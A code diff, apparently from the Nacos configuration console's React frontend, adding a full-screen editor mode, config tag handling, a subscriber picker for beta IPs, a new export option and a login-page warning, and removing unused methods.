editorClass: 'editor-full-screen',
|
||||
});
|
||||
}
|
||||
if (e.key === 'Escape') {
|
||||
this.setState({
|
||||
editorClass: 'editor-normal',
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
createDiffCodeMirror(leftCode, rightCode) {
|
||||
const target = this.diffEditorDialog.current.getInstance();
|
||||
target.innerHTML = '';
|
||||
@ -238,7 +258,12 @@ class ConfigEditor extends React.Component {
|
||||
Object.keys(form).forEach(key => {
|
||||
payload[key] = form[key];
|
||||
});
|
||||
let configTags = this.state.form.config_tags;
|
||||
if (configTags.length > 0) {
|
||||
payload.config_tags = configTags.join(',');
|
||||
}
|
||||
const stringify = require('qs/lib/stringify');
|
||||
this.setState({ loading: true });
|
||||
return request({
|
||||
url: 'v1/cs/configs',
|
||||
method: 'post',
|
||||
@ -251,6 +276,7 @@ class ConfigEditor extends React.Component {
|
||||
}
|
||||
this.getConfig(beta);
|
||||
}
|
||||
this.setState({ loading: false });
|
||||
return res;
|
||||
});
|
||||
}
|
||||
@ -306,18 +332,20 @@ class ConfigEditor extends React.Component {
|
||||
|
||||
setConfigTags(tags) {
|
||||
const { tagDataSource } = this.state;
|
||||
const lastTag = tags[tags.length - 1];
|
||||
if (tagDataSource.indexOf(lastTag) < 0) {
|
||||
this.setState({ tagDataSource: [...tagDataSource, lastTag] });
|
||||
}
|
||||
if (tags.length > 5) {
|
||||
tags.pop();
|
||||
}
|
||||
tags.forEach((v, i) => {
|
||||
if (v.indexOf(',') !== -1 || v.indexOf('=') !== -1) {
|
||||
tags.splice(i, 1);
|
||||
if (tags.length > 0) {
|
||||
const lastTag = tags[tags.length - 1];
|
||||
if (tagDataSource.indexOf(lastTag) < 0) {
|
||||
this.setState({ tagDataSource: [...tagDataSource, lastTag] });
|
||||
}
|
||||
});
|
||||
if (tags.length > 5) {
|
||||
tags.pop();
|
||||
}
|
||||
tags.forEach((v, i) => {
|
||||
if (v.indexOf(',') !== -1 || v.indexOf('=') !== -1) {
|
||||
tags.splice(i, 1);
|
||||
}
|
||||
});
|
||||
}
|
||||
this.changeForm({ config_tags: tags });
|
||||
}
|
||||
|
||||
@ -363,6 +391,31 @@ class ConfigEditor extends React.Component {
|
||||
this.changeForm({ ...form, config_tags: configTags ? configTags.split(',') : [] });
|
||||
this.initMoacoEditor(type, content);
|
||||
this.codeVal = content;
|
||||
this.setState({
|
||||
tagDataSource: this.state.form.config_tags,
|
||||
});
|
||||
return res;
|
||||
});
|
||||
}
|
||||
|
||||
getSubscribesByNamespace() {
|
||||
const namespace = getParams('namespace');
|
||||
const { dataId, group } = this.state.form;
|
||||
const params = {
|
||||
dataId,
|
||||
group,
|
||||
namespaceId: namespace,
|
||||
tenant: namespace,
|
||||
};
|
||||
// get subscribes of the namespace
|
||||
return request.get('v1/cs/configs/listener', { params }).then(res => {
|
||||
const { subscriberDataSource } = this.state;
|
||||
const lisentersGroupkeyIpMap = res.lisentersGroupkeyStatus;
|
||||
if (lisentersGroupkeyIpMap) {
|
||||
this.setState({
|
||||
subscriberDataSource: subscriberDataSource.concat(Object.keys(lisentersGroupkeyIpMap)),
|
||||
});
|
||||
}
|
||||
return res;
|
||||
});
|
||||
}
|
||||
@ -405,6 +458,8 @@ class ConfigEditor extends React.Component {
|
||||
tabActiveKey,
|
||||
dataIdError = {},
|
||||
groupError = {},
|
||||
subscriberDataSource,
|
||||
editorClass,
|
||||
} = this.state;
|
||||
const { locale = {} } = this.props;
|
||||
|
||||
@ -491,11 +546,16 @@ class ConfigEditor extends React.Component {
|
||||
</Checkbox>
|
||||
)}
|
||||
{isBeta && (
|
||||
<Input.TextArea
|
||||
aria-label="TextArea"
|
||||
placeholder="127.0.0.1,127.0.0.2"
|
||||
value={betaIps}
|
||||
onChange={betaIps => this.setState({ betaIps })}
|
||||
<Select
|
||||
size="medium"
|
||||
hasArrow
|
||||
autoWidth
|
||||
mode="tag"
|
||||
filterLocal
|
||||
dataSource={subscriberDataSource}
|
||||
onChange={betaIps => this.setState({ betaIps: betaIps.join(',') })}
|
||||
hasClear
|
||||
value={betaIps ? betaIps.split(',') : []}
|
||||
/>
|
||||
)}
|
||||
</Form.Item>
|
||||
@ -533,7 +593,7 @@ class ConfigEditor extends React.Component {
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<div style={{ clear: 'both', height: 300 }} id="container" />
|
||||
<div id="container" className={editorClass} />
|
||||
</Form.Item>
|
||||
</Form>
|
||||
<Row>
|
||||
|
@ -73,4 +73,16 @@
|
||||
font-size: 14px;
|
||||
}
|
||||
}
|
||||
.editor-full-screen {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
z-index: 100;
|
||||
}
|
||||
.editor-normal {
|
||||
clear: both;
|
||||
height: 300px;
|
||||
}
|
||||
}
|
||||
|
@ -27,12 +27,10 @@ import {
|
||||
Form,
|
||||
Icon,
|
||||
Input,
|
||||
Loading,
|
||||
Menu,
|
||||
Pagination,
|
||||
Select,
|
||||
Table,
|
||||
Grid,
|
||||
Upload,
|
||||
Message,
|
||||
} from '@alifd/next';
|
||||
@ -41,7 +39,7 @@ import RegionGroup from 'components/RegionGroup';
|
||||
import ShowCodeing from 'components/ShowCodeing';
|
||||
import DeleteDialog from 'components/DeleteDialog';
|
||||
import DashboardCard from './DashboardCard';
|
||||
import { getParams, setParams, request, aliwareIntl } from '@/globalLib';
|
||||
import { getParams, setParams, request } from '@/globalLib';
|
||||
import { connect } from 'react-redux';
|
||||
import { getConfigs } from '../../../reducers/configuration';
|
||||
|
||||
@ -162,47 +160,6 @@ class ConfigurationManagement extends React.Component {
|
||||
this.setState({ isCn: localStorage.getItem(LANGUAGE_KEY) === 'zh-CN' });
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取概览页数据
|
||||
*/
|
||||
getContentList() {
|
||||
request({
|
||||
url: 'com.alibaba.nacos.service.dashlist', // 以 com.alibaba. 开头最终会转换为真正的url地址
|
||||
data: {},
|
||||
$data: {}, // 替换请求url路径中{}占位符的内容
|
||||
success: res => {
|
||||
if (res.code === 200 && res.data) {
|
||||
if (res.data.length === 0) {
|
||||
this.setState({
|
||||
hasdash: false,
|
||||
});
|
||||
} else {
|
||||
// 前端默认排序
|
||||
let sortList = [];
|
||||
for (let j = 0, len = res.data.length; j < len; j++) {
|
||||
let item = res.data[j];
|
||||
sortList.push({
|
||||
k: item.appName || '' + item.group || '' + item.dataId || '',
|
||||
v: item,
|
||||
});
|
||||
}
|
||||
sortList.sort(function(a, b) {
|
||||
return a.k.localeCompare(b.k);
|
||||
});
|
||||
let showList = [];
|
||||
for (let j = 0, len = sortList.length; j < len; j++) {
|
||||
showList.push(sortList[j].v);
|
||||
}
|
||||
this.setState({
|
||||
hasdash: true,
|
||||
contentList: showList,
|
||||
});
|
||||
}
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
toggleShowQuestionnaire(value) {
|
||||
if (value) {
|
||||
localStorage.setItem('acm_questionnaire', 1);
|
||||
@ -223,11 +180,25 @@ class ConfigurationManagement extends React.Component {
|
||||
navTo(url, record) {
|
||||
this.serverId = getParams('serverId') || '';
|
||||
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
|
||||
this.props.history.push(
|
||||
`${url}?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
|
||||
record.group
|
||||
}&namespace=${this.tenant}`
|
||||
);
|
||||
switch (url) {
|
||||
case '/historyRollback':
|
||||
url = `${url}?historyServerId=${this.serverId || ''}&historyDataId=${
|
||||
record.dataId
|
||||
}&historyGroup=${record.group}&namespace=${this.tenant}`;
|
||||
break;
|
||||
case '/listeningToQuery':
|
||||
url = `${url}?listeningServerId=${this.serverId || ''}&listeningDataId=${
|
||||
record.dataId
|
||||
}&listeningGroup=${record.group}&namespace=${this.tenant}`;
|
||||
break;
|
||||
case '/pushTrajectory':
|
||||
url = `${url}?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
|
||||
record.group
|
||||
}&namespace=${this.tenant}`;
|
||||
break;
|
||||
default:
|
||||
}
|
||||
this.props.history.push(url);
|
||||
}
|
||||
|
||||
openLoading() {
|
||||
@ -318,8 +289,6 @@ class ConfigurationManagement extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
showMore() {}
|
||||
|
||||
chooseNav(record, key) {
|
||||
const self = this;
|
||||
switch (key) {
|
||||
@ -384,10 +353,6 @@ class ConfigurationManagement extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
renderLastTime(value, index, record) {
|
||||
return <div>{aliwareIntl.intlNumberFormat(record.lastModifiedTime)}</div>;
|
||||
}
|
||||
|
||||
showCode(record) {
|
||||
this.showcode.current.getInstance().openDialog(record);
|
||||
}
|
||||
@ -442,56 +407,20 @@ class ConfigurationManagement extends React.Component {
|
||||
}
|
||||
|
||||
onChangeSort(dataIndex, order) {
|
||||
this.dataSource.sort(function(a, b) {
|
||||
const { configurations = {} } = this.props;
|
||||
configurations.pageItems.sort(function(a, b) {
|
||||
if (order === 'asc') {
|
||||
return (a[dataIndex] + '').localeCompare(b[dataIndex] + '');
|
||||
}
|
||||
return (b[dataIndex] + '').localeCompare(a[dataIndex] + '');
|
||||
});
|
||||
this.forceUpdate();
|
||||
}
|
||||
|
||||
handlePageSizeChange(pageSize) {
|
||||
this.setState({ pageSize }, () => this.changePage(1));
|
||||
}
|
||||
|
||||
chooseFieldChange(fieldValue) {
|
||||
this.setState({
|
||||
fieldValue,
|
||||
});
|
||||
}
|
||||
|
||||
showSelect(value) {
|
||||
this.setState({
|
||||
selectValue: value,
|
||||
});
|
||||
if (value.indexOf('appName') !== -1) {
|
||||
this.setState({
|
||||
showAppName: true,
|
||||
});
|
||||
} else {
|
||||
this.setState({
|
||||
showAppName: false,
|
||||
});
|
||||
}
|
||||
if (value.indexOf('group') !== -1) {
|
||||
this.setState({
|
||||
showgroup: true,
|
||||
});
|
||||
} else {
|
||||
this.setState({
|
||||
showgroup: false,
|
||||
});
|
||||
}
|
||||
this.chooseFieldChange(value);
|
||||
}
|
||||
|
||||
getAppName(value) {
|
||||
this.appName = value;
|
||||
this.setState({
|
||||
appName: value,
|
||||
});
|
||||
}
|
||||
|
||||
setAppName(value) {
|
||||
this.appName = value;
|
||||
this.setState({
|
||||
@ -523,21 +452,6 @@ class ConfigurationManagement extends React.Component {
|
||||
this.getData();
|
||||
}
|
||||
|
||||
resetAll() {
|
||||
this.dataId = '';
|
||||
this.appName = '';
|
||||
this.group = '';
|
||||
this.setState({
|
||||
selectValue: [],
|
||||
dataId: '',
|
||||
appName: '',
|
||||
group: '',
|
||||
showAppName: false,
|
||||
showgroup: false,
|
||||
});
|
||||
this.selectAll();
|
||||
}
|
||||
|
||||
chooseEnv(value) {
|
||||
this.serverId = getParams('serverId') || 'center';
|
||||
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
|
||||
@ -582,104 +496,12 @@ class ConfigurationManagement extends React.Component {
|
||||
);
|
||||
}
|
||||
|
||||
goConfigSync(record) {
|
||||
this.serverId = getParams('serverId') || 'center';
|
||||
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
|
||||
this.props.history.push(
|
||||
`/configsync?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
|
||||
record.group
|
||||
}&namespace=${this.tenant}`
|
||||
);
|
||||
}
|
||||
|
||||
onSelectChange(...args) {
|
||||
const record = [];
|
||||
args[1].forEach(item => {
|
||||
if (args[0].indexOf(item.id) >= 0 && this.state.selectedKeys.indexOf(item.id) < 0) {
|
||||
record.push(item);
|
||||
}
|
||||
});
|
||||
this.state.selectedRecord.forEach(item => {
|
||||
if (args[0].indexOf(item.id) >= 0) {
|
||||
record.push(item);
|
||||
}
|
||||
});
|
||||
this.setState({
|
||||
selectedRecord: record,
|
||||
selectedKeys: args[0],
|
||||
isCheckAll: record.length > 0 && record.length === this.state.dataSource.length,
|
||||
});
|
||||
}
|
||||
|
||||
getBatchFailedContent(res) {
|
||||
const { locale = {} } = this.props;
|
||||
return (
|
||||
<div>
|
||||
<div style={{ fontSize: 18, color: '#373D41', overflow: 'auto' }}>{res.message}</div>
|
||||
{'data' in res && res.data != null && (
|
||||
<Collapse style={{ width: '500px' }}>
|
||||
{'failedItems' in res.data && res.data.failedItems.length > 0 ? (
|
||||
<Panel title={locale.failedEntry + res.data.failedItems.length}>
|
||||
<Table dataSource={res.data.failedItems} fixedHeader>
|
||||
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
|
||||
<Table.Column title={'Group'} dataIndex={'group'} />
|
||||
</Table>
|
||||
</Panel>
|
||||
) : (
|
||||
<Panel style={{ display: 'none' }} />
|
||||
)}
|
||||
{'succeededItems' in res.data && res.data.succeededItems.length > 0 ? (
|
||||
<Panel title={locale.successfulEntry + res.data.succeededItems.length}>
|
||||
<Table dataSource={res.data.succeededItems} fixedHeader>
|
||||
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
|
||||
<Table.Column title={'Group'} dataIndex={'group'} />
|
||||
</Table>
|
||||
</Panel>
|
||||
) : (
|
||||
<Panel style={{ display: 'none' }} />
|
||||
)}
|
||||
{'unprocessedItems' in res.data && res.data.unprocessedItems.length > 0 ? (
|
||||
<Panel title={locale.unprocessedEntry + res.data.unprocessedItems.length}>
|
||||
<Table dataSource={res.data.unprocessedItems} fixedHeader>
|
||||
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
|
||||
<Table.Column title={'Group'} dataIndex={'group'} />
|
||||
</Table>
|
||||
</Panel>
|
||||
) : (
|
||||
<Panel style={{ display: 'none' }} />
|
||||
)}
|
||||
</Collapse>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
onClickBatchHandle() {
|
||||
this.batchHandle &&
|
||||
this.batchHandle.openDialog({
|
||||
serverId: this.serverId,
|
||||
group: this.group,
|
||||
dataId: this.dataId,
|
||||
appName: this.appName,
|
||||
config_tags: this.state.config_tags || '',
|
||||
pageSize: this.state.pageSize,
|
||||
});
|
||||
}
|
||||
|
||||
changeAdvancedQuery = () => {
|
||||
this.setState({
|
||||
isAdvancedQuery: !this.state.isAdvancedQuery,
|
||||
});
|
||||
};
|
||||
|
||||
checkAllHandle(checked) {
|
||||
this.setState({
|
||||
isCheckAll: checked,
|
||||
selectedKeys: checked ? this.state.dataSource.map(item => item.id) : [],
|
||||
selectedRecord: checked ? this.state.dataSource : [],
|
||||
});
|
||||
}
|
||||
|
||||
openUri(url, params) {
|
||||
window.open(
|
||||
[
|
||||
@ -705,7 +527,21 @@ class ConfigurationManagement extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
exportSelectedData() {
|
||||
exportDataNew() {
|
||||
const { group, appName, dataId, openUri } = this;
|
||||
const { accessToken = '' } = JSON.parse(localStorage.token || '{}');
|
||||
openUri('v1/cs/configs', {
|
||||
exportV2: 'true',
|
||||
tenant: getParams('namespace'),
|
||||
group,
|
||||
appName,
|
||||
dataId,
|
||||
ids: '',
|
||||
accessToken,
|
||||
});
|
||||
}
|
||||
|
||||
exportSelectedData(newVersion) {
|
||||
const ids = [];
|
||||
const { locale = {} } = this.props;
|
||||
const { accessToken = '' } = JSON.parse(localStorage.token || '{}');
|
||||
@ -717,14 +553,25 @@ class ConfigurationManagement extends React.Component {
|
||||
return;
|
||||
}
|
||||
configsTableSelected.forEach((value, key, map) => ids.push(key));
|
||||
this.openUri('v1/cs/configs', {
|
||||
export: 'true',
|
||||
tenant: '',
|
||||
group: '',
|
||||
appName: '',
|
||||
ids: ids.join(','),
|
||||
accessToken,
|
||||
});
|
||||
if (newVersion) {
|
||||
this.openUri('v1/cs/configs', {
|
||||
exportV2: 'true',
|
||||
tenant: '',
|
||||
group: '',
|
||||
appName: '',
|
||||
ids: ids.join(','),
|
||||
accessToken,
|
||||
});
|
||||
} else {
|
||||
this.openUri('v1/cs/configs', {
|
||||
export: 'true',
|
||||
tenant: '',
|
||||
group: '',
|
||||
appName: '',
|
||||
ids: ids.join(','),
|
||||
accessToken,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
multipleSelectionDeletion() {
|
||||
@ -1004,7 +851,10 @@ class ConfigurationManagement extends React.Component {
|
||||
const resultCode = ret.code;
|
||||
if (resultCode === 200) {
|
||||
confirm.hide();
|
||||
if (ret.data.failData && ret.data.failData.length > 0) {
|
||||
let failCount = ret.data.failData ? ret.data.failData.length : 0;
|
||||
let skipCount = ret.data.skipData ? ret.data.skipData.length : 0;
|
||||
let unrecognizedCount = ret.data.unrecognizedCount ? ret.data.unrecognizedCount : 0;
|
||||
if (failCount > 0) {
|
||||
Dialog.alert({
|
||||
title: isImport ? locale.importAbort : locale.cloneAbort,
|
||||
content: (
|
||||
@ -1014,7 +864,7 @@ class ConfigurationManagement extends React.Component {
|
||||
</h4>
|
||||
<div style={{ marginTop: 20 }}>
|
||||
<h5>
|
||||
{locale.failureEntries}: {ret.data.failData.length}
|
||||
{locale.failureEntries}: {failCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.failData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
@ -1023,30 +873,50 @@ class ConfigurationManagement extends React.Component {
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unprocessedEntries}: {ret.data.skipData ? ret.data.skipData.length : 0}
|
||||
{locale.unprocessedEntries}: {skipCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.skipData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
<Table.Column title="Group" dataIndex="group" />
|
||||
</Table>
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unrecognizedEntries}: {unrecognizedCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.unrecognizedData}>
|
||||
<Table.Column title="Item Name" dataIndex="itemName" />
|
||||
</Table>
|
||||
</div>
|
||||
</div>
|
||||
),
|
||||
});
|
||||
} else if (ret.data.skipCount && ret.data.skipCount > 0) {
|
||||
} else if (skipCount > 0 || unrecognizedCount > 0) {
|
||||
let message = `${isImport ? locale.importSuccEntries : locale.cloneSuccEntries}${
|
||||
ret.data.succCount
|
||||
}`;
|
||||
Dialog.alert({
|
||||
title: isImport ? locale.importSucc : locale.cloneSucc,
|
||||
content: (
|
||||
<div style={{ width: '500px' }}>
|
||||
<h5>{message}</h5>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.skippedEntries}: {ret.data.skipData.length}
|
||||
{locale.skippedEntries}: {skipCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.skipData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
<Table.Column title="Group" dataIndex="group" />
|
||||
</Table>
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unrecognizedEntries}: {unrecognizedCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.unrecognizedData}>
|
||||
<Table.Column title="Item Name" dataIndex="itemName" />
|
||||
</Table>
|
||||
</div>
|
||||
</div>
|
||||
),
|
||||
});
|
||||
@ -1319,6 +1189,16 @@ class ConfigurationManagement extends React.Component {
|
||||
{locale.export}
|
||||
</Button>
|
||||
</Form.Item>
|
||||
<Form.Item label={''}>
|
||||
<Button
|
||||
type={'primary'}
|
||||
style={{ marginRight: 10 }}
|
||||
onClick={this.exportDataNew.bind(this)}
|
||||
data-spm-click={'gostr=/aliyun;locaid=configsExport'}
|
||||
>
|
||||
{locale.newExport}
|
||||
</Button>
|
||||
</Form.Item>
|
||||
<Form.Item label={''}>
|
||||
<Button
|
||||
type={'primary'}
|
||||
@ -1388,7 +1268,7 @@ class ConfigurationManagement extends React.Component {
|
||||
ref="dataTable"
|
||||
loading={this.state.loading}
|
||||
rowSelection={this.state.rowSelection}
|
||||
onSort={this.onChangeSort}
|
||||
onSort={this.onChangeSort.bind(this)}
|
||||
>
|
||||
<Table.Column sortable={true} title={'Data Id'} dataIndex={'dataId'} />
|
||||
<Table.Column sortable={true} title={'Group'} dataIndex={'group'} />
|
||||
@ -1410,7 +1290,12 @@ class ConfigurationManagement extends React.Component {
|
||||
{
|
||||
text: locale.exportSelected,
|
||||
locaid: 'configsExport',
|
||||
onClick: () => this.exportSelectedData(),
|
||||
onClick: () => this.exportSelectedData(false),
|
||||
},
|
||||
{
|
||||
text: locale.newExportSelected,
|
||||
locaid: 'configsExport',
|
||||
onClick: () => this.exportSelectedData(true),
|
||||
},
|
||||
{
|
||||
text: locale.clone,
|
||||
|
@ -37,12 +37,12 @@ class HistoryRollback extends React.Component {
|
||||
this.field = new Field(this);
|
||||
this.appName = getParams('appName') || '';
|
||||
this.preAppName = this.appName;
|
||||
this.group = getParams('group') || '';
|
||||
this.group = getParams('historyGroup') || '';
|
||||
this.preGroup = this.group;
|
||||
|
||||
this.dataId = getParams('dataId') || '';
|
||||
this.dataId = getParams('historyDataId') || '';
|
||||
this.preDataId = this.dataId;
|
||||
this.serverId = getParams('serverId') || '';
|
||||
this.serverId = getParams('historyServerId') || '';
|
||||
this.state = {
|
||||
value: '',
|
||||
visible: false,
|
||||
@ -59,13 +59,6 @@ class HistoryRollback extends React.Component {
|
||||
selectValue: [],
|
||||
loading: false,
|
||||
};
|
||||
const obj = {
|
||||
dataId: this.dataId || '',
|
||||
group: this.preGroup || '',
|
||||
appName: this.appName || '',
|
||||
serverId: this.serverId || '',
|
||||
};
|
||||
setParams(obj);
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
|
@ -55,9 +55,9 @@ class ListeningToQuery extends React.Component {
|
||||
dataSource: [],
|
||||
};
|
||||
this.field = new Field(this);
|
||||
this.group = getParams('group') || '';
|
||||
this.dataId = getParams('dataId') || '';
|
||||
this.serverId = getParams('serverId') || '';
|
||||
this.group = getParams('listeningGroup') || '';
|
||||
this.dataId = getParams('listeningDataId') || '';
|
||||
this.serverId = getParams('listeningServerId') || '';
|
||||
this.tenant = getParams('namespace') || '';
|
||||
}
|
||||
|
||||
|
@ -80,6 +80,7 @@ class NewConfig extends React.Component {
|
||||
encrypt: false,
|
||||
addonBefore: '',
|
||||
showGroupWarning: false,
|
||||
editorClass: 'editor-normal',
|
||||
};
|
||||
this.codeValue = '';
|
||||
this.mode = 'text';
|
||||
@ -99,6 +100,7 @@ class NewConfig extends React.Component {
|
||||
} else {
|
||||
this.initMoacoEditor();
|
||||
}
|
||||
this.initFullScreenEvent();
|
||||
}
|
||||
|
||||
changeModel(type) {
|
||||
@ -138,6 +140,22 @@ class NewConfig extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
initFullScreenEvent() {
|
||||
document.body.addEventListener('keydown', e => {
|
||||
if (e.key === 'F1') {
|
||||
e.preventDefault();
|
||||
this.setState({
|
||||
editorClass: 'editor-full-screen',
|
||||
});
|
||||
}
|
||||
if (e.key === 'Escape') {
|
||||
this.setState({
|
||||
editorClass: 'editor-normal',
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
setGroup(value) {
|
||||
this.group = value || '';
|
||||
this.field.setValue('group', this.group);
|
||||
@ -435,6 +453,7 @@ class NewConfig extends React.Component {
|
||||
label: 'Properties',
|
||||
},
|
||||
];
|
||||
const { editorClass } = this.state;
|
||||
|
||||
return (
|
||||
<div style={{ padding: 10 }}>
|
||||
@ -575,7 +594,7 @@ class NewConfig extends React.Component {
|
||||
}
|
||||
required
|
||||
>
|
||||
<div id={'container'} style={{ width: '100%', height: 300 }} />
|
||||
<div id={'container'} className={editorClass} />
|
||||
</FormItem>
|
||||
|
||||
<FormItem label=" ">
|
||||
|
@ -21,3 +21,17 @@
|
||||
.more-item.hide {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.editor-full-screen {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
z-index: 100;
|
||||
}
|
||||
|
||||
.editor-normal {
|
||||
clear: both;
|
||||
height: 300px;
|
||||
}
|
@ -102,6 +102,10 @@ class Login extends React.Component {
|
||||
<div className="animation animation5" />
|
||||
<Card className="login-panel" contentHeight="auto">
|
||||
<div className="login-header">{locale.login}</div>
|
||||
<div className="internal-sys-tip">
|
||||
<div>{locale.internalSysTip1}</div>
|
||||
<div>{locale.internalSysTip2}</div>
|
||||
</div>
|
||||
<Form className="login-form" field={this.field}>
|
||||
<FormItem>
|
||||
<Input
|
||||
|
@ -54,9 +54,18 @@ $contentWidth: 1280px;
|
||||
margin-top: 58px;
|
||||
text-align: center;
|
||||
}
|
||||
.internal-sys-tip {
|
||||
width: 100%;
|
||||
line-height: 25px;
|
||||
font-size: 20px;
|
||||
margin-top: 25px;
|
||||
text-align: center;
|
||||
font-weight: 800;
|
||||
color: #ff0000cc;
|
||||
}
|
||||
.login-form {
|
||||
width: 360px;
|
||||
margin: 80px auto auto auto;
|
||||
margin: 40px auto auto auto;
|
||||
input {
|
||||
height: 60px;
|
||||
}
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user